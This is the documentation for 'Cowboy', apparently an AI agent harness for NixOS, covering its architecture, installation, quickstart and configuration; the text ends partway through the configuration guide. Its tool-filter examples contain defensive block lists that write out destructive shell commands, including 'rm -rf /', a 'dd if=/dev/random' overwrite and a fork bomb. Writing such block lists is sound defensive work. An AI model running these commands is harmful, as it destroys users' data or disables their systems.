Cowboy: Autonomous Agent Harness for NixOS

  <!-- Simple valid SVG -->
  <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 300 200" style="width: 100%; height: 100%;">
    <defs>
      <linearGradient id="hatGradient" x1="0" y1="0" x2="0" y2="1">
        <stop offset="0%" stop-color="#8B4513"/>
        <stop offset="100%" stop-color="#654321"/>
      </linearGradient>
      <linearGradient id="bandGradient" x1="0" y1="0" x2="1" y2="0">
        <stop offset="0%" stop-color="#B8860B"/>
        <stop offset="100%" stop-color="#DAA520"/>
      </linearGradient>
    </defs>
    
    <!-- Hat shadow -->
    <ellipse cx="150" cy="190" rx="120" ry="15" fill="rgba(0,0,0,0.1)"/>
    
    <!-- Hat brim -->
    <ellipse cx="150" cy="143" rx="138" ry="25" fill="url(#hatGradient)" stroke="#654321" stroke-width="1.5"/>
    
    <!-- Hat crown -->
    <path d="M85,143 Q85,100 95,78 L100,68 Q120,42 150,35 Q180,42 200,68 L205,78 Q215,100 215,143" 
          fill="#A0522D" stroke="#654321" stroke-width="1.5"/>
    
    <!-- Hat band -->
    <path d="M88,118 Q88,108 150,102 Q212,108 212,118 Q212,126 150,120 Q88,126 88,118" 
          fill="url(#bandGradient)" stroke="#8B6914" stroke-width="0.8"/>
    
    <!-- Star -->
    <polygon points="150,106 152,109 155,109 153,111 154,114 150,112 146,114 147,111 145,109 148,109" 
             fill="#FFD700" stroke="#B8860B" stroke-width="0.5"/>
  </svg>
</div>

<div id="hatMessage" style="font-family: Georgia, serif; font-size: 1.8rem; color: #8B4513; margin-top: 1rem; font-weight: bold;">
  Yeehaw! 🀠
</div>
<div style="font-style: italic; color: #A0522D; margin-top: 0.5rem;">
  Saddle up for autonomous AI adventures
</div>

Cowboy is a production-ready AI agent harness that transforms natural language requests into safe, auditable system operations. Built on Zellij and WebAssembly, it provides a secure, memory-aware execution environment for autonomous AI agents on NixOS systems.

What is Cowboy?

Cowboy bridges the gap between large language models and practical system automation. Unlike traditional CLI tools or API clients, Cowboy provides a complete execution environment where AI agents can:

  • Execute tools safely within configured security boundaries
  • Maintain persistent memory across sessions and conversations
  • Orchestrate sub-agents for parallel task execution
  • Integrate natively with NixOS, home-manager, and system configuration

Think of Cowboy as the "operating system" for AI agentsβ€”providing the runtime, security model, and tooling that autonomous agents need to interact with your systems effectively.

Target Audience

πŸ‘¨β€πŸ’» Developers

Automate development workflows with AI assistanceβ€”from code review to deployment pipelines. Cowboy agents can read, write, search, and execute code while maintaining security boundaries.

πŸ”§ System Administrators

Manage NixOS infrastructure declaratively with AI-powered automation. Deploy configurations, monitor systems, and troubleshoot issues with human-in-the-loop approval.

πŸ”¬ Researchers

Experiment with autonomous agent systems in a controlled, observable environment. Cowboy provides complete audit trails and reproducible execution contexts.

🏒 Teams

Implement AI-assisted workflows with proper governance. Cowboy's approval system and audit logging ensure compliance while enabling productivity gains.

Key Features

πŸ”’ Security-First Architecture

Every tool call passes through configurable security filters. Network namespaces isolate agents, while a credential-injecting proxy ensures API keys are never exposed to the agent directly.

🧠 Persistent Memory System

Agents learn from past interactions and build institutional knowledge. The memory backend supports session persistence, context retrieval, and long-term knowledge storage.

⚑ Real-Time Execution

Tools run in your actual environment, not simulated sandboxes. Cowboy executes commands directly on your system while maintaining strict security boundaries.

πŸ”„ Sub-Agent Orchestration

Parallel task execution with delegated authority. Cowboy can spawn multiple agent instances that work together on complex tasks while maintaining coordinated security policies.

πŸ”§ NixOS Integration

Native support for Nix flakes, home-manager, and declarative system configuration. Cowboy agents understand Nix-specific operations and can manipulate configurations safely.

πŸ“Š Complete Audit Trail

Every action is logged with approval states and execution context. Full observability into agent behavior for compliance and debugging.

Architecture Overview

Cowboy follows a modular, layered architecture:

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                    Zellij Session                        β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”‚
β”‚  β”‚              Cowboy Plugin (WASM)                 β”‚  β”‚
β”‚  β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”‚  β”‚
β”‚  β”‚  β”‚   UI    β”‚  β”‚  Agent   β”‚  β”‚  Tool Executor  β”‚  β”‚  β”‚
β”‚  β”‚  β”‚  /TUI   β”‚  β”‚  Loop    β”‚  β”‚  (RunCommands)  β”‚  β”‚  β”‚
β”‚  β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β””β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”˜  β””β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β”‚  β”‚
β”‚  β”‚                    β”‚                  β”‚           β”‚  β”‚
β”‚  β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”Œβ”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β” β”‚  β”‚
β”‚  β”‚  β”‚Provider β”‚  β”‚ Context  β”‚  β”‚  Filter Pipeline β”‚ β”‚  β”‚
β”‚  β”‚  β”‚Traits   β”‚  β”‚ Manager  β”‚  β”‚  (Compiled)      β”‚ β”‚  β”‚
β”‚  β”‚  β”‚(Claude/ β”‚  β”‚(Session/ β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚  β”‚
β”‚  β”‚  β”‚ GPT)    β”‚  β”‚ Compact) β”‚                       β”‚  β”‚
β”‚  β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                       β”‚  β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                             β”‚
                      β”Œβ”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”
                      β”‚ Proxy Layer β”‚  (Credential injection,
                      β”‚   + Network β”‚   method gating, topology
                      β”‚  Namespace  β”‚   isolation)
                      β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”˜
                             β”‚
                      β”Œβ”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”
                      β”‚   LLM API   β”‚
                      β”‚(Claude/GPT) β”‚
                      β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Core Components

  1. WASM Plugin Runtime - Executes in Zellij as a WebAssembly plugin, providing the agent runtime environment
  2. Security Filters - Compiled Rust middleware that cannot be modified at runtime
  3. Provider Abstraction - Type-safe interface for different LLM providers (Claude, OpenAI, local models)
  4. Memory Backend - Persistent storage for session data and long-term knowledge
  5. Bridge Services - External platform integration (Discord, Email) via Redis Streams
  6. NixOS Modules - Declarative configuration for system integration

Design Principles

  • No /tmp/ -- Full observability through persistent storage
  • Nix-native -- All configuration via NixOS/home-manager modules
  • Space is cheap -- Log everything, compress later
  • Tee-style I/O -- Never block on disk operations
  • Compiled security -- Filters are Rust, not runtime-modifiable
  • Topology-based isolation -- Network namespace + proxy, not iptables rules

Getting Started

Ready to try Cowboy? Get up and running in minutes:

# Install via pip
pip install get-cowboy

# Start your first agent session
cowboy --model anthropic:claude-opus-4-6

For NixOS users, Cowboy provides full system integration:

# In your NixOS configuration:
imports = [ inputs.cowboy.nixosModules.default ];

services.agent = {
  enable = true;
  provider = "anthropic";
  model = "claude-opus-4-6";
};

Next Steps

Join the Community

Cowboy is built for developers, sysadmins, and researchers who want to harness the power of AI agents safely and effectively. Whether you're automating your development workflow, managing NixOS infrastructure, or experimenting with autonomous systems, Cowboy provides the foundation you need.

View on GitHub | Documentation | Discord Community

Installation

Cowboy is an AI agent harness built on Zellij and WebAssembly, providing secure, reliable tooling for autonomous AI agents. This guide covers all installation methods from simple to advanced.

Quick Start

If you just want to get started quickly:

Nix users:

nix profile install github:dmadisetti/cowboy
cowboy --version

Python users:

pip install get-cowboy
cowboy --version

For detailed installation instructions, continue reading below.

Prerequisites

Before installing Cowboy, ensure you have the following:

Required Prerequisites

  • Nix (for Nix-based installation) or NixOS system
  • Git for fetching source code and flakes
  • Zellij terminal multiplexer (required for Cowboy to function)
  • Python 3.12+ (for pip installation method)

Optional Prerequisites

  • API keys for AI providers (Anthropic, OpenAI, etc.)
  • Home Manager (for user-level Nix configuration)
  • Docker/Podman (for container deployment)

Installing Zellij

Zellij is essential for Cowboy to function. Install it via your preferred method:

# Nix users
nix-env -iA nixpkgs.zellij

# Cargo users
cargo install zellij

# macOS users
brew install zellij

Verify Zellij is installed:

zellij --version

Installation Methods

Choose the installation method that best fits your environment:

The Nix flake installation provides the most integrated experience with NixOS systems, including system-level service management and security features.

Option A: Direct Flake Installation

For quick evaluation or testing:

# Install globally to your user profile
nix profile install github:dmadisetti/cowboy

# Or run temporarily without installation
nix run github:dmadisetti/cowboy -- --help

Option B: Flake Input in Your Configuration

For permanent integration with your NixOS or Home Manager configuration:

# flake.nix
{
  inputs = {
    nixpkgs.url = "github:nixos/nixpkgs/nixos-unstable";
    cowboy.url = "github:dmadisetti/cowboy";
  };

  outputs = { self, nixpkgs, cowboy }:
    let
      system = "x86_64-linux";
      pkgs = nixpkgs.legacyPackages.${system};
    in {
      nixosConfigurations.your-host = nixpkgs.lib.nixosSystem {
        inherit system;
        modules = [
          ./configuration.nix
          cowboy.nixosModules.default
        ];
      };
    };
}

Option C: System-Level Service (NixOS)

Enable Cowboy as a system service with full NixOS integration:

# configuration.nix
{ config, pkgs, ... }:

{
  imports = [ inputs.cowboy.nixosModules.default ];

  services.cowboy = {
    enable = true;
    provider = "anthropic";
    model = "claude-opus-4-6";
    # Additional configuration...
  };
}

This provides:

  • Automatic startup with system boot
  • Systemd service management
  • Network namespace isolation
  • Heartbeat monitoring
  • Secure credential storage

Method 2: Python Package (Development & Evaluation)

Ideal for development, testing, or systems without Nix.

Option A: PyPI Installation

# Install from PyPI
pip install get-cowboy

# Verify installation
cowboy --version

Option B: Development Installation

For contributing to Cowboy or using the latest development version:

# Clone the repository
git clone https://github.com/dmadisetti/cowboy.git
cd cowboy

# Install in editable mode
pip install -e .

# Or use uv (recommended)
uv pip install -e .

Option C: Using uv Package Manager

# Install uv if you don't have it
curl -LsSf https://astral.sh/uv/install.sh | sh

# Install cowboy
uv pip install get-cowboy

# Or run directly without installation
uvx --from get-cowboy cowboy --help

Method 3: Home Manager Module

For user-level installation on NixOS or any Nix system using Home Manager.

# home.nix
{ config, pkgs, inputs, ... }:

{
  imports = [ inputs.cowboy.homeModules.agent ];

  programs.cowboy = {
    enable = true;
    provider = "anthropic";
    model = "claude-opus-4-6";
    # Configuration options...
  };
}

Benefits of Home Manager installation:

  • User-specific configuration
  • No root privileges required
  • Integrated with your user environment
  • Automatic shell completion

Method 4: Container Deployment

For isolated deployment or containerized environments:

# Build the container image
nix build .#container

# Run with Docker
docker load < result
docker run -it cowboy:latest

# Or with Podman
podman load < result
podman run -it cowboy:latest

The container includes:

  • Zellij terminal multiplexer
  • Python runtime
  • Cowboy CLI
  • Essential system utilities (bash, coreutils, git, curl)

Verification Steps

After installation, verify that Cowboy is working correctly:

Basic Verification

# Check installation version
cowboy --version

# View available commands
cowboy --help

# Test the CLI entry point
python -m cowboy --help  # For Python installation

Functionality Test

Run a simple agent session to verify everything works:

# Start an interactive session (requires API key)
cowboy --model anthropic:claude-opus-4-6

# Or test with a specific task
cowboy --model anthropic:claude-opus-4-6 --task "List files in current directory"

Nix-Specific Verification

For Nix installations, verify flake integration:

# Check if cowboy is in your profile
nix profile list | grep cowboy

# Test flake evaluation
nix eval github:dmadisetti/cowboy#packages.x86_64-linux.default

# Run a quick test
nix run github:dmadisetti/cowboy -- --version

Troubleshooting Common Issues

Zellij Not Found

# Ensure Zellij is installed and in PATH
which zellij
zellij --version

# Add to PATH if needed
export PATH="$HOME/.cargo/bin:$PATH"

Python Package Import Errors

# Check Python version
python --version  # Should be 3.12+

# Reinstall if needed
pip install --force-reinstall get-cowboy

Nix Flake Evaluation Errors

# Update flake inputs
nix flake update

# Check flake structure
nix flake check

Configuration After Installation

Once Cowboy is installed, you may want to configure it:

Setting API Keys

# Create configuration directory
mkdir -p ~/.config/cowboy

# Set API keys in environment or config file
export ANTHROPIC_API_KEY="your-key-here"
# Or add to ~/.config/cowboy/config.yaml

First Time Setup

# Start interactive configuration
cowboy --configure

# Or manually create config
cowboy --init-config

See Configuration for detailed setup options.

Uninstallation

Removing Nix Installation

# Remove from Nix profile
nix profile remove cowboy

# Or if using flake input, remove from configuration
# and run:
nix-collect-garbage -d

Removing Python Installation

# PyPI installation
pip uninstall get-cowboy

# Development installation
pip uninstall -e .

Removing Home Manager Installation

# Remove from home.nix and run:
home-manager switch

Next Steps

Once installed and verified:

  1. Quickstart: Quickstart Guide - Your first agent session
  2. Configuration: Configuration - Advanced setup options
  3. Architecture: Architecture Overview - Understand how Cowboy works
  4. Guides: Guides - Specific use cases and workflows

Additional Resources

Support

If you encounter issues during installation:

  1. Check the troubleshooting section above
  2. Review the GitHub issues
  3. Join the community discussions
  4. For Nix-specific issues, check NixOS Discourse

Next: Quickstart Guide β†’ Learn how to use Cowboy for your first agent session.

Quickstart: Zero to First Agent in 5 Minutes

Cowboy is an AI agent harness that lets you run autonomous AI agents directly in your terminal. This guide will get you from zero to your first agent session in under 5 minutes.

πŸš€ Quick Start (2 Minutes)

Step 1: Start Your First Agent Session

# Basic session with Claude Opus
cowboy --model anthropic:claude-opus-4-6

# Or specify a task directly
cowboy --model anthropic:claude-opus-4-6 --task "Analyze this directory structure"

Step 2: Interact with Your Agent

Once the session starts, you'll see a prompt like this:

πŸ€– Agent: I'm ready to help. What would you like me to do?

Just type naturally - the agent will understand and use the right tools:

πŸ‘€ You: What files are in the current directory?

The agent will automatically use the ls tool and show you the results.

πŸ› οΈ Available Tools

Cowboy provides these built-in tools for interacting with your system:

File Operations

  • read - Read file contents or fetch URLs
  • write - Create or overwrite files
  • find - Find files by name pattern
  • ls - List directory contents

Search & Analysis

  • search - Search file contents recursively with grep
  • web-search - Search the web for real-time information

System Operations

  • bash - Execute shell commands (with security controls)
  • reload_plugin - Reload the Zellij plugin after updates

πŸ’‘ Practical Examples

File Management

"Read the README.md file"
"Search for TODO comments in the codebase"
"Create a new configuration file at ./config.json"
"List all Python files in the project"

Development Tasks

"Run tests in the current project"
"Check for linting issues in the src/ directory"
"Generate documentation for the API"
"Find all files containing 'import React'"

System Analysis

"Check disk usage and report any issues"
"List running processes"
"Check network connectivity"
"Analyze the directory structure"

🎯 Common Interactions

Reading Files

πŸ‘€ You: Read the package.json file

πŸ€– Agent: I'll read the package.json file for you.
[Tool: read] Executing: read path=package.json
[Tool: read] Output:
{
  "name": "my-project",
  "version": "1.0.0",
  ...
}

Searching Codebase

πŸ‘€ You: Search for all function definitions in Rust files

πŸ€– Agent: I'll search for function definitions in .rs files.
[Tool: search] Executing: search pattern="fn " path=. flags="-w"
[Tool: search] Output:
src/main.rs:42:fn main() {
src/lib.rs:10:fn helper_function() {
...
}

File Operations

πŸ‘€ You: Create a new file with a simple hello world program

πŸ€– Agent: I'll create a new Python file with a hello world program.
[Tool: write] Executing: write path=hello.py content="print('Hello, World!')"
[Tool: write] Output: File written successfully

πŸ”§ Session Management

Save and Resume Sessions

# Save current session state
cowboy --save-session my-project-session

# Resume a previous session
cowboy --load-session my-project-session --model anthropic:claude-opus-4-6

Stop Running Sessions

# Stop the current session
cowboy --stop

# Stop a specific session
cowboy --session my-session --stop

βš™οΈ Configuration Basics

API Keys

Set these environment variables for full functionality:

export ANTHROPIC_API_KEY="sk-ant-..."
export EXA_API_KEY="..."  # For web search

Model Options

# Anthropic Claude models
cowboy --model anthropic:claude-opus-4-6
cowboy --model anthropic:claude-sonnet-4-0

# OpenAI models
cowboy --model openai:gpt-4.1

# OpenRouter models
cowboy --model openrouter:anthropic/claude-3-opus

πŸ›‘οΈ Security Features

Cowboy includes built-in security controls:

  • Tool Approval: Sensitive operations require confirmation
  • Execution Limits: Timeouts prevent runaway processes
  • Audit Logging: All actions are logged for review
  • Sandboxed Execution: Tools run in controlled environments

πŸŽ“ Next Steps

Once you've completed your first session, explore these advanced features:

  1. Configuration - Customize tools, security, and memory settings
  2. Sub-Agents - Run multiple agents in parallel
  3. Memory System - Enable persistent knowledge storage
  4. Security Model - Understand the security architecture

🚨 Troubleshooting

"No API keys found"

Set your API keys as environment variables:

export ANTHROPIC_API_KEY="sk-ant-..."

"Zellij not found"

Install Zellij first:

nix profile install nixpkgs#zellij

Session won't start

Check if another session is running:

cowboy --stop
cowboy --model anthropic:claude-opus-4-6

Ready to go deeper? Continue to the Configuration guide to customize Cowboy for your workflow.

Configuration

Cowboy provides flexible configuration through multiple methods to suit different deployment scenarios, from local development to production NixOS systems.

Configuration Methods Overview

MethodUse CasePrioritySecurity Level
CLI ArgumentsQuick testing, one-off commandsHighestModerate
Environment VariablesSecrets, dynamic valuesMediumHigh
Config FileLocal development, persistent settingsMediumLow
NixOS/Home ManagerProduction, declarative systemsLowestHighest

1. Configuration File

Location

  • System-wide: /etc/cowboy/config.toml
  • User-specific: ~/.config/cowboy/config.toml
  • Development: ./cowboy.toml

Example Configuration

# ~/.config/cowboy/config.toml

# Primary model configuration
provider = "anthropic"
model = "claude-opus-4-6"

# Secondary models for specialized tasks
summary_model = "openai:gpt-4.1"
compact_model = "openai:gpt-4.1"
subagent_model = "openrouter:xiaomi/mimo-v2-flash"

# Enable features
memory_enabled = true
chrome = false  # Show Zellij UI chrome

# Tool configuration
[tools]
bash_enabled = true
bash_timeout = 120
web_search_enabled = false
read_enabled = true
write_enabled = true

# Security settings
[security]
require_approval = ["write", "bash::rm", "bash::mv"]
max_tool_calls_per_session = 100
execution_timeout = 3600

# API keys (use environment variables in production)
[api_keys]
anthropic = "${ANTHROPIC_API_KEY}"
openai = "${OPENAI_API_KEY}"
exa = "${EXA_API_KEY}"
openrouter = "${OPENROUTER_API_KEY}"

# Memory configuration
[memory]
backend = "zk"  # or "qmd" for hybrid search
database_path = "~/.local/share/cowboy/memory.db"
max_entries = 10000
prune_after_days = 30

# Workspace configuration
[workspace]
directory = "~/workspace"
context_file = "context.md"

2. Environment Variables

Environment variables provide a secure way to configure Cowboy, especially for secrets.

Basic Configuration

# Model selection
export COWBOY_PROVIDER="anthropic"
export COWBOY_MODEL="claude-opus-4-6"

# Secondary models
export COWBOY_SUMMARY_MODEL="openai:gpt-4.1"
export COWBOY_COMPACT_MODEL="openai:gpt-4.1"
export COWBOY_SUBAGENT_MODEL="openrouter:xiaomi/mimo-v2-flash"

# Feature flags
export COWBOY_MEMORY_ENABLED="true"
export COWBOY_CHROME="false"

API Keys

# Anthropic (Claude)
export ANTHROPIC_API_KEY="sk-ant-..."

# OpenAI
export OPENAI_API_KEY="sk-proj-..."

# Exa (Web search)
export EXA_API_KEY="exa-..."

# OpenRouter
export OPENROUTER_API_KEY="sk-or-..."

Security Settings

# Tools requiring approval
export COWBOY_REQUIRE_APPROVAL="write,bash::rm,bash::mv"

# Execution limits
export COWBOY_MAX_TOOL_CALLS="100"
export COWBOY_EXECUTION_TIMEOUT="3600"

Memory Configuration

# Memory backend
export COWBOY_MEMORY_BACKEND="zk"  # or "qmd"

# Database path
export COWBOY_MEMORY_DB_PATH="/home/user/.local/share/cowboy/memory.db"

# Memory limits
export COWBOY_MEMORY_MAX_ENTRIES="10000"
export COWBOY_MEMORY_PRUNE_DAYS="30"

3. Command Line Arguments

CLI arguments provide the highest priority configuration, perfect for testing and one-off commands.

Basic Usage

# Specify model directly
cowboy --model anthropic:claude-opus-4-6

# With a task
cowboy --model openai:gpt-4.1 --task "Review the codebase for security issues"

# Web server mode
cowboy --web --port 8080 --model anthropic:claude-opus-4-6

# Stop running session
cowboy --stop --session my-session

Advanced Options

# Multiple model specifications
cowboy \
  --model anthropic:claude-opus-4-6 \
  --summary-model openai:gpt-4.1 \
  --compact-model openai:gpt-4.1

# Debug and logging
cowboy --debug debug --model anthropic:claude-opus-4-6

# Custom WASM binary
cowboy --wasm /path/to/custom-harness.wasm --model anthropic:claude-opus-4-6

# Chrome UI (show Zellij panes)
cowboy --chrome --model anthropic:claude-opus-4-6

4. NixOS Module Configuration

For system-wide deployment on NixOS, use the declarative NixOS module.

Basic System Configuration

# configuration.nix
{ config, pkgs, inputs, ... }:

{
  imports = [ inputs.cowboy.nixosModules.default ];

  services.cowboy = {
    enable = true;
    
    agents = {
      agent = {
        enable = true;
        user = "cowboy";
        uid = 1338;
        homeDirectory = "/home/cowboy";
        
        # Model configuration
        model = "anthropic:claude-opus-4-6";
        summaryModel = "openai:gpt-4.1";
        compactModel = "openai:gpt-4.1";
        
        # Memory backend
        memoryBackend = "zk";
        
        # Prompts
        prompts = {
          system = ''
            You are Cowboy, an AI coding assistant. You follow these rules:
            1. Always use tools to accomplish tasks
            2. Never give step-by-step instructions for manual execution
            3. Iterate on failure with different approaches
          '';
        };
      };
    };
  };
}

With Secrets Management (agenix)

# configuration.nix
{ config, pkgs, inputs, ... }:

{
  imports = [
    inputs.cowboy.nixosModules.default
    inputs.agenix.nixosModules.default
  ];

  # agenix secrets
  age.secrets = {
    anthropic-key = {
      file = ./secrets/anthropic.age;
      owner = "cowboy";
      group = "cowboy";
    };
    openai-key = {
      file = ./secrets/openai.age;
      owner = "cowboy";
      group = "cowboy";
    };
  };

  services.cowboy = {
    enable = true;
    
    agents.agent = {
      enable = true;
      model = "anthropic:claude-opus-4-6";
      
      environment = {
        ANTHROPIC_API_KEY = config.age.secrets.anthropic-key.path;
        OPENAI_API_KEY = config.age.secrets.openai-key.path;
      };
    };
  };
}

With Security Sandbox (Network Namespace)

# configuration.nix
{ config, pkgs, inputs, ... }:

{
  imports = [ inputs.cowboy.nixosModules.default ];

  services.cowboy = {
    enable = true;
    
    # Enable security proxy
    secretsProxy.enable = true;
    
    agents.agent = {
      enable = true;
      model = "anthropic:claude-opus-4-6";
      
      # Network namespace for isolation
      namespace = "cowboy-agent";
      
      environment = {
        ANTHROPIC_API_KEY = "/run/agenix/anthropic-key";
      };
    };
    
    # API key mappings for proxy
    secretsProxy.domainMappings = {
      "api.anthropic.com" = {
        secretPath = "/run/agenix/anthropic-key";
        headerName = "x-api-key";
      };
    };
  };
}

5. Home Manager Configuration

For user-level installation without root access.

Basic Home Manager

# home.nix
{ config, pkgs, inputs, ... }:

{
  imports = [ inputs.cowboy.homeManagerModules.default ];

  programs.cowboy = {
    enable = true;
    
    settings = {
      provider = "anthropic";
      model = "claude-opus-4-6";
      memory_enabled = true;
      
      tools = {
        bash_enabled = true;
        web_search_enabled = true;
      };
    };
    
    environment = {
      ANTHROPIC_API_KEY = "$ANTHROPIC_API_KEY";
      EXA_API_KEY = "$EXA_API_KEY";
    };
  };
}

Advanced Home Manager with Multiple Agents

# home.nix
{ config, pkgs, inputs, ... }:

{
  imports = [ inputs.cowboy.homeManagerModules.default ];

  programs.cowboy = {
    enable = true;
    
    agents = {
      coding = {
        model = "anthropic:claude-opus-4-6";
        memory_backend = "qmd";  # Hybrid search
      };
      
      research = {
        model = "openrouter:xiaomi/mimo-v2-flash";
        memory_backend = "zk";  # Keyword search
      };
    };
  };
}

6. Tool Configuration

Enabling/Disabling Tools

# config.toml
[tools]
bash_enabled = true
bash_timeout = 120

web_search_enabled = true
web_search_num_results = 10

read_enabled = true
write_enabled = true
search_enabled = true
find_enabled = true

Tool-Specific Settings

[tools.bash]
enabled = true
timeout = 120
allowed_commands = ["ls", "pwd", "cat", "grep", "find"]
blocked_patterns = ["rm -rf", "dd if=/dev/random", ":(){:|:&};:"]

[tools.write]
enabled = true
allowed_paths = [
  "/home/user/projects/",
  "/tmp/",
  "*.md",
  "*.rs",
  "*.toml"
]

[tools.web_search]
enabled = true
num_results = 10
provider = "exa"

Custom Tool Filters

[security.filters]
# Block specific command patterns
bash_block_patterns = [
  "rm -rf /",
  "dd if=/dev/random",
  ":(){:|:&};:"  # Fork bomb
]

# Allow only specific directories
write_allowed_paths = [
  "/home/user/projects/",
  "/tmp/",
  "*.md",  # Only markdown files
]

# File extension restrictions
read_allowed_extensions = [".md", ".txt", ".rs", ".toml", ".nix"]

7. Memory Configuration

Backend Selection

# config.toml
[memory]
# Options: "zk" (Zettelkasten), "qmd" (Hybrid)
backend = "zk"

# Zettelkasten configuration
[memory.zk]
database_path = "~/.local/share/cowboy/memory.db"
max_entries = 10000
prune_after_days = 30

# Search settings
search_enabled = true
search_threshold = 0.7

QMD (Hybrid) Backend

[memory]
backend = "qmd"

[memory.qmd]
database_path = "~/.local/share/cowboy/memory.db"
vector_model = "all-MiniLM-L6-v2"
bm25_weight = 0.4
vector_weight = 0.6
reranking_enabled = true

Environment Variables for Memory

# Memory backend
export COWBOY_MEMORY_BACKEND="zk"

# Database configuration
export COWBOY_MEMORY_DB_PATH="/home/user/.local/share/cowboy/memory.db"
export COWBOY_MEMORY_MAX_ENTRIES="10000"
export COWBOY_MEMORY_PRUNE_DAYS="30"

# Search settings
export COWBOY_MEMORY_SEARCH_THRESHOLD="0.7"

8. Security Configuration

Approval Workflow

# config.toml
[security]
# Tools requiring manual approval
require_approval = [
  "write",
  "bash::rm",
  "bash::mv",
  "bash::sudo",
  "web_search"
]

# Execution limits
max_tool_calls_per_session = 100
execution_timeout = 3600  # 1 hour

Network Isolation (NixOS)

# configuration.nix
services.cowboy = {
  enable = true;
  
  # Enable network namespace isolation
  secretsProxy.enable = true;
  
  agents.agent = {
    enable = true;
    namespace = "cowboy-agent";
    
    # API key mappings for proxy injection
    environment = {
      ANTHROPIC_API_KEY = "/run/agenix/anthropic-key";
    };
  };
  
  # Proxy configuration
  secretsProxy.domainMappings = {
    "api.anthropic.com" = {
      secretPath = "/run/agenix/anthropic-key";
      headerName = "x-api-key";
    };
  };
};

Sandbox Configuration

# config.toml
[security.sandbox]
enabled = true
network_isolation = true
file_system_restrictions = true
max_memory_mb = 1024
max_cpu_percent = 50

9. Production Deployment Recommendations

1. Use NixOS Modules

Always use the NixOS module for production deployments:

services.cowboy.enable = true;

2. Secure Secrets Management

  • Use agenix, sops, or similar for secrets
  • Never store secrets in configuration files
  • Use environment variable references or secret paths
age.secrets.anthropic-key.file = ./secrets/anthropic.age;

3. Enable Security Features

services.cowboy = {
  secretsProxy.enable = true;
  agents.agent.namespace = "cowboy-agent";
};

4. Configure Resource Limits

[security]
max_tool_calls_per_session = 100
execution_timeout = 3600

5. Set Up Monitoring

# Monitor agent heartbeat
systemd.user.services.cowboy-heartbeat = {
  enable = true;
  serviceConfig = {
    Type = "oneshot";
    ExecStart = "${pkgs.coreutils}/bin/touch /run/user/%U/cowboy-heartbeat";
  };
};

6. Use Declarative Configuration

# Everything in Nix configuration
services.cowboy.agents.agent = {
  enable = true;
  model = "anthropic:claude-opus-4-6";
  memoryBackend = "zk";
  # ... all other settings
};

10. Configuration Validation

Validate Configuration File

# Test configuration file syntax
cowboy --config test.toml --validate

# Dry run to see effective configuration
cowboy --config production.toml --dry-run

# Show current configuration
cowboy --show-config

Check NixOS Configuration

# Build and test NixOS configuration
nixos-rebuild dry-activate

# Check configuration syntax
nix-instantiate --eval -E 'import ./configuration.nix'

Environment Variable Testing

# Test with specific environment
export COWBOY_MODEL="anthropic:claude-opus-4-6"
cowboy --model openai:gpt-4.1  # CLI overrides env var

11. Priority and Resolution

Configuration is resolved in this order (highest to lowest priority):

  1. CLI Arguments (--model, --debug, etc.)
  2. Environment Variables (COWBOY_*)
  3. Configuration File (config.toml)
  4. NixOS/Home Manager (declarative)
  5. Hardcoded Defaults (anthropic:claude-opus-4-6)

Example Resolution

# CLI argument wins
cowboy --model openai:gpt-4.1

# Environment variable overrides config file
export COWBOY_MODEL="anthropic:claude-opus-4-6"
# config.toml has: model = "openai:gpt-4.1"
# Result: Uses anthropic:claude-opus-4-6 from env var

12. Common Configuration Scenarios

Development Environment

# ~/.config/cowboy/config.toml
